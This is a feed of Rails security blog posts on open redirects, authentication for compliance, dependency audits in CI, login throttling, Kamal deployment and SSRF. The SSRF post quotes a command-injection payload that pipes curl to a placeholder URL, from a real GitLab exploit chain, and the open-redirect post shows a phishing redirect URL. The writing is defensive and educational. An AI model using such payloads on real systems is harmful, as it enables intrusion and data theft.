DEV Community: Greg Molnar

Open redirect vulnerabilities in Rails apps

Greg Molnar — Tue, 14 Nov 2023 19:50:29 +0000

Today, I want to tell you about open redirect vulnerabilities and how to prevent them in a Rails application.

We are talking about an open redirect vulnerability when the application redirects to a URL that a malicious user can control. It can be used for phishing by redirecting users to a fake login page where they enter their credentials.

A typical occurrence of this vulnerability is when a return URL can be controlled via a URL parameter. For instance, if an application redirects to a page after logout and the target is set in a URL parameter.

If an application uses a return_to GET parameter, and accepts a URL like this: example.com/logout?return_to=/, a malicious actor can send a link to example.com/logout?return_to=https://fishingsite.com and the user might not realize that they are not on example.com after they sign out.

Another example is the redirect after a successful login, when you use the HTTP Referer, or a URL parameter. Setting the referer to a malicious one can be done with an extra redirect from the phishing site, or if the web server has a host header injection vulnerability, that can also be utilized.

The good news is, Rails has built-in protection for this issue since version 7, with a follow-up fix in 7.0.4.1, so if you are on a new enough release, all you need to do is to set the following config variable:

# config/application.rb
...
    config.action_controller.raise_on_open_redirects = true
...

If you set raise_on_open_redirects to true, all redirect helpers will prevent open redirections.
You might still want to allow a certain redirect to external hosts though, and in that scenario, you can call redirect_to with allow_other_host: true.

If you are stuck on an older version of Rails, you should pass any user-controlled redirect paths through a whitelist.

That's it for today, until next time!

Rails Authentication for Compliance

Greg Molnar — Sat, 28 Oct 2023 10:42:49 +0000

Suppose you are working on a Rails application that needs to meet specific security compliance requirements like PCI, ISO 27001, or SOC2. In that case, one of the objectives is to have proper authentication and access control.

The requirements differ between standards, but I gathered the most important ones from all of them to go through them.

Authenticate access to critical assets

Let's see what we need to do to satisfy this requirement.

First of all, you must have a strong password policy.

I recommend asking for a minimum of 12 characters, with at least one uppercase letter and one number.

You can use Active Record validations for this. If you have a password attribute on your model, you can add a validation similar to this example:

validate :password_complexity

def password_complexity
  if password.present? and !password.match(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{12,}$/)
    errors.add :password, "must include at least one lowercase letter, one uppercase letter, one digit, and needs to be minimum 12 characters."
  end
end

Additionally, you should validate that the password is not leaked. Luckily, there is a gem for that: https://github.com/philnash/pwned.

After installing the gem, All you need to do is add the following validation to the model:

  validates :password, not_pwned: { on_error: :valid }

This will make a request to haveibeenpwned.com, mark the password as invalid if it has been pwned, and mark it as valid in case of a network or API error. You can find information about various configurations in the readme of the gem.

The final thing to prevent is credentials leaking. For this, you should store the passwords hashed with a robust hashing algorithm such as bcrypt.

By default, restrict all access to critical assets to only those accounts and services that require such access

This one is more of an authorization than an authentication requirement. You should always use a whitelist approach for permissions and only permit access to certain information or features to the accounts that require it.

Accompany authentication information by additional authentication factors

Your authentication mechanism should include multiple factors, something the user knows and something the user has. If you are using Devise, you can use the devise-two-factor gem. If you have custom authentication, you can use the rotp gem to generate OTP codes and verify those during login.

One common mistake with multi-factor authentication implementations is to not require the second factor after a password reset, which defeats the purpose of the feature, so make sure that doesn't happen.

Don't display sensitive system or application information to avoid providing an unauthorized user with any unnecessary assistance

You should show a generic message if someone tries to access a page requiring authentication.

During the login process, you should never indicate which part of the login credentials are incorrect, otherwise it is possible to enumerate the usernames. Also, you should validate the username and password together to ensure there is no indication of which one is incorrect.

When validating the password, you should prevent timing attacks by using a constant time algorithm during password comparison. Devise does this by default. If you have a custom authentication implementation, ensure you are not vulnerable to this attack.

Protect against brute force log-on attempts and credential stuffing

You should ensure the password of accounts in your system can't be brute-forced or taken over by a credential stuffing attack from a list of leaked user credentials.

The first line of defense should be to put rate-limiting on your login endpoints. rack-attack can help with that. I recommend to limit the login attempts to 5 per minute for a username and block the IP for 30 minutes. You should also limit the number of login attempts from the same IP address, but this needs to be adjusted to the application you are working on, because if it is a tool used in classrooms, it might be legit to have 50 logins within a few minutes from the same IP. (I have a few post written about rack-attack)

After configuring rate-limiting, you should also introduce a captcha on the login page and trigger that for suspicious login attempts.

You could also send an email with a verification link in case of a suspicious login, for instance, from a non-usual location, device, etc.

Storing successful and unsuccessful login attempts can help to detect suspicious attempts. If you are using Devise, you can use the authtrail gem for that.

Don't leak clear text passwords

In 2023, everybody should use SSL/TLS, which prevents leaking clear text passwords over the network connections.

Also, you should never log passwords in clear text or let them leak if an exception is raised.

Terminate inactive sessions after a defined period of inactivity, especially in high-risk locations

Your "remember me" feature should be opt-in, and the session length should be adjusted to the necessary security level of the application.

Prevent concurrent sessions

You shouldn't allow concurrent sessions for an account to prevent session hijacking. To achieve this, you can save a fingerprint of the user on a successful login and trigger an MFA verification if the fingerprint changes during the requests.

I believe I covered all of the important points for compliance of the authentication, but if you think I missed something, please reach out.

Ruby on Rails password validation

Greg Molnar — Wed, 25 Oct 2023 07:57:53 +0000

If you ever went through a PCI, ISO 2007, SOC2, or similar compliance questionnaire, you found the following question in one form or another:

Use sufficiently strong and robust authentication methods to protect authentication credentials from being forged, spoofed, leaked, guessed, or circumvented.

Let's see what we need to do to satisfy this requirement.

First of all, you must have a strong password policy.

I recommend asking for a minimum of 12 characters, with at least one uppercase letter and one number.

You can use Active Record validations for this. If you have a password attribute on your model, you can add a validation similar to this example:

validate :password_complexity

def password_complexity
  if password.present? and !password.match(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{12,}$/)
    errors.add :password, "must include at least one lowercase letter, one uppercase letter, one digit, and needs to be minimum 12 characters."
  end
end

  validates :password, not_pwned: { on_error: :valid }

The final thing to prevent is credentials leaking. For this, you should store the passwords hashed with a robust hashing algorithm such as bcrypt.

Automated security audits for a Rails application

Greg Molnar — Mon, 23 Oct 2023 11:00:00 +0000

I will show you how you can automate some of the security necessities of a Rails application. If you follow this guide, you will be safe from one of the OWASP Top 10 security issues(A9-Using Components with Known Vulnerabilities) and lower the chances of having other vulnerabilities in your codebase. Let's get into it.

Using Components with Known Vulnerabilities is in the OWASP Top 10, but automating a notification about gems with known vulnerabilities is very easy. The bundler-audit gem covers us there with the bundle-audit command:

[~/] bundle-audit --help
Commands:
  bundler-audit check [DIR]     # Checks the Gemfile.lock for insecure dependencies
  bundler-audit download        # Downloads ruby-advisory-db
  bundler-audit help [COMMAND]  # Describe available commands or one specific command
  bundler-audit stats           # Prints ruby-advisory-db stats
  bundler-audit update          # Updates the ruby-advisory-db
  bundler-audit version         # Prints the bundler-audit version

If you put a check for bundle audit --update to your CI workflow, it will check your app for vulnerable dependencies and your pipeline will fail.
Additionally, if you use yarn to manage your javascript dependencies, you can use yarn audit to check your dependencies for any known vulnerability.

Here is an example GitHub Action file to do this:

# .github/workflows/bundle-audit.yml
name: Bundle Audit
on:
  pull_request:
  schedule:
    - cron: "0 0 * * *"
jobs:
  base:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
    steps:
      - name: Checkout code
        uses: actions/checkout@v2

      - name: Setup Ruby
        uses: ruby/setup-ruby@v1
        with:
          ruby-version: 3.2
          bundler-cache: true
      - name: Install bundler-audit
        run: gem install bundler-audit
      - name: Check dependencies with known vulnerabilities
        run: bundle-audit --update
      - name: Check javascript dependencies
        run: yarn audit

The above action runs bundle audit and yarn audit on every pull request and at midnight every day. You might need to adjust the Ruby version above to the one you are on.

Another low-hanging fruit to improve the security posture of a Ruby on Rails application is to set up static code analyses for potential security issues. There are two gems to help with this: brakeman and spektr(DISCLAIMER: I am the author of this gem).
These gems analyze your code for potentially vulnerable code and can help to find SQL injections, XSS, and quite a few other issues.

Using on CI brakeman is more ideal, because it supports ignoring false positives out of the box. Spektr is targeted more towards security professionals running it on a codebase during an assessment.

Here is an example GitHub Actions file to run brakeman on your codebase on every pull request and once every day:

# .github/workflows/brakeman-scan.yml
name: Brakeman Scan
on:
 - pull_request:
 - schedule:
   - cron: "0 0 * * *"

jobs:
  base:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
    steps:
      - name: Checkout code
        uses: actions/checkout@v2

      - name: Setup Ruby
        uses: ruby/setup-ruby@v1
        with:
          ruby-version: 3.2
          bundler-cache: true
      - name: Install brakeman
        run: gem install brakeman
      - name: Static code analyses for security
        run: brakeman

That's it

Throttling Rails logins with Rack Attack

Greg Molnar — Sun, 22 Oct 2023 21:28:22 +0000

I will show you how to rate-limit your authentication endpoints with Rack Attack.

Rack::Attack is a middleware for blocking or throttling requests based on rules. It uses the configured cache store of Rails to store the necessary data, but a separate data store can be configured too.

In the examples, I will use Devise's endpoints, but the same setup works with any authentication system, you just need to change the URLs.

Setting up Rack::Attack is very simple, you need to add the gem to your project with bundle add rack-attack.

Once we have the gem installed, we can add our configuration to an initializer, I use config/initializers/rack_attack.rb for that.

To prevent credential stuffing attacks on the login endpoint, you can throttle requests by IP address to a 15 attempts per minute:

class Rack::Attack
  throttle('logins/ip', limit: 15, period: 1.minute) do |req|
    if req.path == '/users/sign_in' && req.post?
      req.ip
    end
  end
end

The throttle call expects the name for the rule and the options as parameters. In the above example, we limit post requests to the /users/sign_in path to 15 per minute for the IP address.

We can harden the configuration even more and add another rule to throttle requests with the same email address:

throttle('logins/email', limit: 10, period: 1.minutes) do |req|
  if req.path == '/users/sign_in' && req.post?
    req.params['user']['email'].to_s.downcase.gsub(/\s+/, "").presence
  end
end

The above rule will throttle login attempts with the same email address to 10 per every minute. This rule prevents brute force attacks.

These two rules will significantly improve the security posture of your Rails app, but depending on your needs, you can introduce additional throttling easily with Rack Attack.

Deploying a Rails app with Kamal

Greg Molnar — Tue, 26 Sep 2023 11:52:05 +0000

What is Kamal?

You probably already heard about kamal, a new tool from DHH to deploy Rails apps with docker containers. It is pretty similar to Capistrano, with the difference of using containers, so preparing the servers is less effort and you don't really need to know much in that area to be able to deploy a Rails app.

In this tutorial, I will show you how to

deploy a Rails app to a VPS
get automatic SSL certificates with Traefik
use a hosted database server
run Redis on the same droplet
run a worker to process background jobs

You need to point your DNS records to the IP address of the droplet, and they will probably propagate by the time you finish your first deployment.

Setup Kamal

To set up kamal in your app, you need to install the gem. It doesn't have to be in the Gemfile, just needs to be available in your terminal, so you can just run gem install kamal. Once that's done, you need to call kamal init --bundle inside your Rails app:

[~/git/kamal-example] +(main) kamal init --bundle

Created configuration file in config/deploy.yml
Created .env file
Created sample hooks in .kamal/hooks
Adding MRSK to Gemfile and bundle...
  INFO [55b3727e] Running /usr/bin/env bundle add kamal as gregmolnar@localhost
  INFO [55b3727e] Finished in 3.111 seconds with exit status 0 (successful).
  INFO [12808c1a] Running /usr/bin/env bundle binstubs kamal as gregmolnar@localhost
  INFO [12808c1a] Finished in 0.120 seconds with exit status 0 (successful).
Created binstub file in bin/kamal

The first thing I recommend to do is to gitignore the .env file, so you are not committing your secrets accidentally.

If you don't already have access to a container registry, now is the time to sign up for one. Some hosting providers, like Digital Ocean offer one with a free tier.

After that, let's open the .env file and add your container registry credentials and your Rails master key.

If you generated your Rails app with 7.1+, you already have a Dockerfile, but if you are on an older version, you need to create one, and it needs to look like this:

# syntax = docker/dockerfile:1

# Make sure RUBY_VERSION matches the Ruby version in .ruby-version and Gemfile
ARG RUBY_VERSION=3.2.2
FROM registry.docker.com/library/ruby:$RUBY_VERSION-slim as base

# Rails app lives here
WORKDIR /rails

# Set production environment
ENV RAILS_ENV="production" \
    BUNDLE_DEPLOYMENT="1" \
    BUNDLE_PATH="/usr/local/bundle" \
    BUNDLE_WITHOUT="development"


# Throw-away build stage to reduce size of final image
FROM base as build

# Install packages needed to build gems
RUN apt-get update -qq && \
    apt-get install --no-install-recommends -y build-essential git libpq-dev libvips pkg-config curl

# Install application gems
COPY Gemfile Gemfile.lock ./
RUN bundle install && \
    rm -rf ~/.bundle/ "${BUNDLE_PATH}"/ruby/*/cache "${BUNDLE_PATH}"/ruby/*/bundler/gems/*/.git && \
    bundle exec bootsnap precompile --gemfile


# Copy application code
COPY . .

# Precompile bootsnap code for faster boot times
RUN bundle exec bootsnap precompile app/ lib/

# Precompiling assets for production without requiring secret RAILS_MASTER_KEY
RUN SECRET_KEY_BASE_DUMMY=1 ./bin/rails assets:precompile


# Final stage for app image
FROM base

# Install packages needed for deployment
RUN apt-get update -qq && \
    apt-get install --no-install-recommends -y libvips postgresql-client curl && \
    rm -rf /var/lib/apt/lists /var/cache/apt/archives

# Copy built artifacts: gems, application
COPY --from=build /usr/local/bundle /usr/local/bundle
COPY --from=build /rails /rails

# Run and own only the runtime files as a non-root user for security
RUN useradd rails --home /rails --shell /bin/bash && \
    chown -R rails:rails db log storage tmp
USER rails:rails

# Entrypoint prepares the database.
ENTRYPOINT ["/rails/bin/docker-entrypoint"]

# Start the server by default, this can be overwritten at runtime
EXPOSE 3000

This Dockerfile configures the base image, the working directory, and the environment variables. It installs the necessary apt packages(make sure curl is added since it was not in the default Dockefile generated by Rails at the beginning), bundles the gems, copies over the application code, precompiles the assets, creates a non-root user to own the files and run the Rails process, sets the entry point and exposes port 3000.
In the default Rails Dockerfile, there is also a command to start the Rails server, but since we will also have a worker, we will run different commands in the containers and set those in the kamal config file.

And that is the next one you need to modify. This is what you will end up with. I will break it down below:

# Name of your application. Used to uniquely configure containers.
service: my_awesome_app
# Name of the container image.

image: container_registry/my_awesome_app

# Deploy to these servers.
servers:
  web:
    hosts:
      - 111.11.111.11
    labels:
      traefik.http.routers.domain.rule: Host(`yourdomain.com`)
      traefik.http.routers.domain.entrypoints: websecure
      traefik.http.routers.domain.tls.certresolver: letsencrypt
    options:
      "add-host": host.docker.internal:host-gateway
    cmd: "./bin/rails server"
  job:
    hosts:
      - 111.11.111.11
    options:
      "add-host": host.docker.internal:host-gateway
    cmd: "bundle exec sidekiq -C config/sidekiq.yml -v"

# Credentials for your image host.
registry:
  # Specify the registry server, if you're not using Docker Hub
  server: registry.digitalocean.com
  username:
    - MRSK_REGISTRY_PASSWORD

  # Always use an access token rather than real password when possible.
  password:
    - MRSK_REGISTRY_PASSWORD

# Inject ENV variables into containers (secrets come from .env).
env:
  clear:
    REDIS_URL: "redis://host.docker.internal:36379/0"
  secret:
    - RAILS_MASTER_KEY
    - DATABASE_PASSWORD
    - SMTP_USER
    - SMTP_PASSWORD
    - DO_BUCKET_KEY
    - DO_BUCKET_SECRET
    - DO_BUCKET
    - SIDEKIQ_USERNAME
    - SIDEKIQ_PASSWORD
# Configure builder setup.
# builder:
#   args:
#     RUBY_VERSION: 3.2.0
#   secrets:
#     - GITHUB_TOKEN
#   remote:
#     arch: amd64
#     host: ssh://app@192.168.0.1
builder:
  multiarch: false
# Use accessory services (secrets come from .env).
accessories:
  redis:
    image: redis:latest
    roles:
      - web
    port: "36379:6379"
    volumes:
      - /var/lib/redis:/data
# Configure custom arguments for Traefik
traefik:
  # host_port: 8080
  options:
    publish:
      - "443:443"
    volume:
      - "/letsencrypt/acme.json:/letsencrypt/acme.json"
  args:
    entryPoints.web.address: ":80"
    entryPoints.websecure.address: ":443"
    entryPoints.web.http.redirections.entryPoint.to: websecure
    entryPoints.web.http.redirections.entryPoint.scheme: https
    entryPoints.web.http.redirections.entrypoint.permanent: true
    entrypoints.websecure.http.tls: true
    entrypoints.websecure.http.tls.domains[0].main: "yourdomain.com"
    certificatesResolvers.letsencrypt.acme.email: "youremail@domain.com"
    certificatesResolvers.letsencrypt.acme.storage: "/letsencrypt/acme.json"
    certificatesResolvers.letsencrypt.acme.httpchallenge: true
    certificatesResolvers.letsencrypt.acme.httpchallenge.entrypoint: web
#   args:
#     accesslog: true
#     accesslog.format: json
# Configure a custom healthcheck (default is /up on port 3000)
# healthcheck:
#   path: /healthz
#   port: 4000

In this file, you need to specify the name of your app and the image you want to use. Then you can configure servers. In this example, there is a "web" server and a "job" server. They are both running on the same host, so let's make docker to put them on the internal network so they can access each other.

On the web server, kamal will start a Rails server, and on the job server it will start a Sidekiq process.

For the web server, we configure the traefik router for Let's Encrypt.

Then we configure the registry access details, and then we set the environment variables we need. REDIS_URL is not a secret, so we can just enter it directly. The rest will be pulled from the .env file.

The next step is to configure our builder. If you are on a Linux machine and deploying to Linux servers with the same architecture(like me), you can disable multiarch like in the above example to speed up the build process.

The next section configures the "accessories". An accessory can be a database server, memcached, etc., or Redis in this case. As for the database, let's use a hosted one by your provider(like Digital Ocean). For Redis, you will use the same VM.

You need to configure the image, set the role you want to put it on, forward the ports to the host, and mount a volume.

And the final part of this config file sets Traefik to listen on port 80 and 443 and configures Let's Encrypt. You need to adapt the above config with your domain name and email. You also need to SSH to your server and create the acme.json file with the correct permissions:

mkdir -p /letsencrypt && touch /letsencrypt/acme.json && chmod 600 /letsencrypt/acme.json

One final step is to turn on a firewall, preferably at your provider, and block everything except port 80 and 443, so Treafik and Redis are not accessible from the internet.

Everything is configured now, and it is time to build the server. For that, you need to call bin/kamal setup and wait patiently until your first build completes and deploys. Afterward, you can just run bin/kamal deploy to deploy a new build.

Once your app is deployed and your DNS records are propagated, you can access your newly deployed application.

Here are a few handy kamal commands:

If you want to start a Rails console: kamal app exec -i "bin/rails c"
If you want to see your logs: kamal app logs -f
If you have a stuck lock file, ssh to the host and delete the kamal_lock folder
kamal --help lists all the available commands

I hope this article helps to get your feet wet with kamal.

Server-Side Request Forgery in Rails

Greg Molnar — Wed, 19 Jul 2023 14:46:38 +0000

What is Server-Side Request Forgery (SSRF), and why is it a concern for web security?

Server-Side Request Forgery is a type of web security vulnerability that allows an attacker to send malicious requests from a vulnerable server to internal or external resources. The attacker can use this vulnerability to access restricted resources, steal sensitive information, and launch further attacks. It can also be used to bypass firewalls and security controls and can be exploited to carry out a wide range of attacks, including data exfiltration, unauthorized access, and service disruption.

Some of the most common types of attacks that can be carried out using SSRF include:

Data exfiltration: An attacker can use SSRF to send requests to internal resources, such as databases and file servers, to extract sensitive information. This information might include customer data, financial information, and other confidential data.
Unauthorized access: An attacker can use SSRF to access internal resources that are not intended to be accessible from the internet, such as administrative interfaces and internal networks. This can allow the attacker to gain unauthorized access to sensitive data.
Service disruption: Bypassing firewalls, an attacker can use SSRF to send a large number of requests to a targeted resource, such as a web server or database, to overload the system and cause a denial of service. This can lead to significant downtime and data loss.
Remote Command Execution: An attacker can use SSRF to make requests to internal resources that allow command injection. This way attacker can execute arbitrary code on the server.

It's also worth noting that an attacker can chain multiple SSRF vulnerabilities to achieve a more severe attack, these combinations of attacks can be used for the escalation of privileges or to move laterally within a network. This is called SSRF-Chain, I will show you a real-world example of such a vulnerability below.

How SSRF works?

A Server-Side Request Forgery attack happens when an attacker can inject a malicious URL or payload into a vulnerable application. The application then sends a request to the specified resource, which can be an internal or external one, using the server's network connection.

If the resource is internal, the target receives this request and forwards it to the inernal resource, which processes it like this request was coming from the internal network, potentially bypassing firewall rules or even authentication restrictions.

If the resource is an external one, controlled by the attacker the request can disclose information to the attacker about the server(i.e.: IP address).

Let's see an example. Imagine a Rails marketplace app for websites. A user can upload screenshots or tick a box to make a screenshot based on the URL. The application uses Cloudflare to prevent Denial of Service(DoS) attacks and for a Web-Application Firewall, so the IP address of the application can't be found in the DNS records. But the application uses the same host to make requests to the sites to get the screenshot, so an attacker can simply enter the URL of a site he controls, and when the request is sent, he can find out the actual IP of the application from the logs of his site.

Another example would be an application allowing users to specify a URL to fetch content. An attacker could manipulate the input to send a malicious URL that points to an internal Redis database, with a payload to extract data from it. Newer versions of Redis prevent this by aliasing the HTTP Header HOST and POST to QUIT.

Now let's see a real-world example in a Rails application.

Gitlab uses an UrlBlocker class to prevent malicious users from exploiting SSRF via the webhook URL. This class validates the URL and blocks everything which is a local network, but before the 11.5.1 version, they didn't think about an IPv6 format, which maps to IPv4: [0:0:0:0:0:ffff:127.0.0.1]. Replacing the part of 127.0.0.1 to any IP address also worked, and this vulnerability made it possible to send requests to the internal network of a GitLab instance. You can read the issue report here: (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242
)[https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242]

Chaining the above vulnerability with another one, which allowed line breaks in the webhook URL, made it possible to reach remote-code execution. The line breaks made it possible to connect to Redis. The researcher who found this dug into the workers and found GitlabShellWorker with this method:

def perform(action, *arg)
  gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end

As you can see, this job passes the arguments to __send__, so a payload like the one below, run with class_eval, would make it possible to execute code on the server:

open('| curl <URL HERE>').read

A potential attacker could use curl/wget or whatever is installed on the server to exfiltrate useful information about the host and could find a way to open a remote shell to his machine.
You can read more and see an exploit for this issue on GitHub: https://github.com/CS4239-U6/gitlab-ssrf

It's important to note that SSRF attacks can be challenging to detect since they often involve legitimate requests being sent to internal or external resources. This makes it important to implement security controls and monitoring to detect and prevent SSRF attacks.

Prevention and mitigation

Discuss best practices for preventing SSRF attacks, including input validation, access controls, and network segmentation

Since it isn't a generic attack, Rails has no built-in protection against SSRF. Preventing it requires a multi-layered approach:

It's important to validate all user-supplied input and sanitize it before using it for outgoing requests. This can help to prevent attackers from injecting malicious URLs or payloads into the input. Enforce controls with a white-list
Do not send raw responses to clients. This makes data exfiltration more difficult
Implement firewall policies or network access control rules that block all traffic by default, only allowing essential intranet traffic through.
Use network segmentation for functionality accessing remote resources.
Monitor your logs for suspicious activities, like requests to internal resources or unexpected responses from internal resources.

Conclusion

SSRF is often underrated, but as you can see from the GitLab example, chaining it with another vulnerability can lead to serious issues.